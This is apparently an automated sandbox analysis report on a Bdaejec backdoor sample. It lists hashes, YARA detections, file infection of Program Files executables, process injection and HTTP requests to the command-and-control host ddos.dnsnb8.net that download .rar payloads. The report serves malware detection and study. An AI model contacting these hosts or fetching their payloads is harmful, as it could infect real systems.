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Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
07/01/2025, 02:23 UTC
Static task
static1
Behavioral task
behavioral1
Sample
2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe
Resource
win7-20240903-en
General
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Target
2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe
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Size
1.6MB
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MD5
24b6cb4a4e74e31d75456cc3d43444da
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SHA1
682f244e75e459b5a483157b43138cb5b0379c33
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SHA256
eb15944ffc429eedfedaae8f6bf4f72ad0a77756ee45cd3e29d1e300d9b5a47e
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SHA512
b21d78466f2967c8f0a37b32173b8ab1c57d142d4e0d2a38073c749633dfdc99469a6263eccc4d08a70c9ed3180e9eb953479acf9ab0353565c38d0237226d28
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SSDEEP
49152:XE4XbjEKOh3SbiwJjn7gu5LUvdW9apuLvht/cionurM0EIMa1:Xrj834iwJjn7gu5LmMapuNiiMurM0
Malware Config
Extracted
bdaejec
ddos.dnsnb8.net
Signatures
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Bdaejec family
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Detects Bdaejec Backdoor. 1 IoCs
Bdaejec is backdoor written in C++.
resource yara_rule behavioral1/memory/2784-56-0x00000000001E0000-0x00000000001E9000-memory.dmp family_bdaejec_backdoor -
resource yara_rule behavioral1/files/0x0007000000012117-8.dat aspack_v212_v242 -
Executes dropped EXE 1 IoCs
pid Process 2784 LaPUbseA.exe -
Loads dropped DLL 2 IoCs
pid Process 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jar.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jsadebugd.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\keytool.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\xjc.exe LaPUbseA.exe File opened for modification C:\Program Files\Microsoft Games\Multiplayer\Checkers\chkrzm.exe LaPUbseA.exe File opened for modification C:\Program Files\Mozilla Firefox\crashreporter.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\extcheck.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\SETLANG.EXE LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\wsgen.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\java.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jre7\bin\java-rmi.exe LaPUbseA.exe File opened for modification C:\Program Files\Mozilla Firefox\private_browsing.exe LaPUbseA.exe File opened for modification C:\Program Files\VideoLAN\VLC\vlc.exe LaPUbseA.exe File opened for modification C:\Program Files\Windows Mail\wab.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroBroker.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\policytool.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jstatd.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\orbd.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jre7\bin\servertool.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\IEContentService.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\sidebar.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jmap.exe LaPUbseA.exe File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaire.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jre7\bin\policytool.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\wsimport.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\ACCICONS.EXE LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\servertool.exe LaPUbseA.exe File opened for modification C:\Program Files\Microsoft Games\Multiplayer\Backgammon\bckgzm.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\GRAPH.EXE LaPUbseA.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE LaPUbseA.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_pwa_launcher.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\keytool.exe LaPUbseA.exe File opened for modification C:\Program Files\Microsoft Games\Chess\Chess.exe LaPUbseA.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\Solitaire.exe LaPUbseA.exe File opened for modification C:\Program Files\Windows Journal\PDIALOG.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateOnDemand.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jstack.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\klist.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\ktab.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\jabswitch.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jre7\bin\javaw.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Eula.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MSQRY32.EXE LaPUbseA.exe File opened for modification C:\Program Files\Google\Chrome\Application\chrome.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\rmid.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\pack200.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jre7\bin\javacpl.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jre7\bin\rmiregistry.exe LaPUbseA.exe File opened for modification C:\Program Files\Mozilla Firefox\minidump-analyzer.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OIS.EXE LaPUbseA.exe File opened for modification C:\Program Files (x86)\Windows Mail\wab.exe LaPUbseA.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javaw.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\pack200.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\ssvagent.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jre7\bin\keytool.exe LaPUbseA.exe File opened for modification C:\Program Files\Java\jre7\bin\orbd.exe LaPUbseA.exe File opened for modification C:\Program Files\Microsoft Office\Office14\MSOHTMED.EXE LaPUbseA.exe File opened for modification C:\Program Files\Windows Sidebar\sidebar.exe LaPUbseA.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe LaPUbseA.exe File opened for modification C:\Program Files (x86)\Google\Update\DisabledGoogleUpdate.exe LaPUbseA.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\inf\oem0.PNF 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe File created C:\Windows\inf\oem1.PNF 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language LaPUbseA.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeRestorePrivilege 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe Token: SeRestorePrivilege 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe Token: SeRestorePrivilege 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe Token: SeRestorePrivilege 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe Token: SeRestorePrivilege 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe Token: SeRestorePrivilege 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe Token: SeRestorePrivilege 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1876 wrote to memory of 2784 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe 31 PID 1876 wrote to memory of 2784 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe 31 PID 1876 wrote to memory of 2784 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe 31 PID 1876 wrote to memory of 2784 1876 2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe 31 PID 2784 wrote to memory of 2012 2784 LaPUbseA.exe 32 PID 2784 wrote to memory of 2012 2784 LaPUbseA.exe 32 PID 2784 wrote to memory of 2012 2784 LaPUbseA.exe 32 PID 2784 wrote to memory of 2012 2784 LaPUbseA.exe 32
Processes
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C:\Users\Admin\AppData\Local\Temp\2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe"C:\Users\Admin\AppData\Local\Temp\2025-01-07_24b6cb4a4e74e31d75456cc3d43444da_mafia_wapomi.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Users\Admin\AppData\Local\Temp\LaPUbseA.exeC:\Users\Admin\AppData\Local\Temp\LaPUbseA.exe2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\2c3c764d.bat" "3⤵
- System Location Discovery: System Language Discovery
PID:2012
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Network
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Remote address:8.8.8.8:53Requestddos.dnsnb8.netIN AResponseddos.dnsnb8.netIN A44.221.84.105
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Remote address:44.221.84.105:799RequestGET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k2.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k3.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k4.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k4.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k5.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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Remote address:44.221.84.105:799RequestGET /cj//k5.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
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558 B 256 B 5 6
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k1.rar -
558 B 256 B 5 6
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k2.rar -
558 B 256 B 5 6
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k3.rar -
466 B 176 B 3 4
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k4.rar -
558 B 256 B 5 6
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k4.rar -
466 B 176 B 3 4
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k5.rar -
558 B 256 B 5 6
HTTP Request
GET http://ddos.dnsnb8.net:799/cj//k5.rar
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\WUBCGJ0A\k2[1].rar
Filesize4B
MD5d3b07384d113edec49eaa6238ad5ff00
SHA1f1d2d2f924e986ac86fdf7b36c94bcdf32beec15
SHA256b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c
SHA5120cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6
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Filesize
191B
MD5d363695ea861a16fc6d0d0147d9cb2ae
SHA1753168608561a12ef7d34f4a2259c3dbeb7e5426
SHA25632f587cd094dc56b1719937146a8c3ff9effc1f9afa54d450ff510e0eef100c8
SHA51219dcffe74ecb33ca6ba3fad96da058715cbf2532831f14d1474da2818d7910b6f76f3d8e2a4eaddf2ac0a377c42ce22c0c06bf51ddc1067e3540bfbf8eb96b89
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Filesize
4B
MD520879c987e2f9a916e578386d499f629
SHA1c7b33ddcc42361fdb847036fc07e880b81935d5d
SHA2569f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31
SHA512bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f
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Filesize
15KB
MD556b2c3810dba2e939a8bb9fa36d3cf96
SHA199ee31cd4b0d6a4b62779da36e0eeecdd80589fc
SHA2564354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07
SHA51227812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e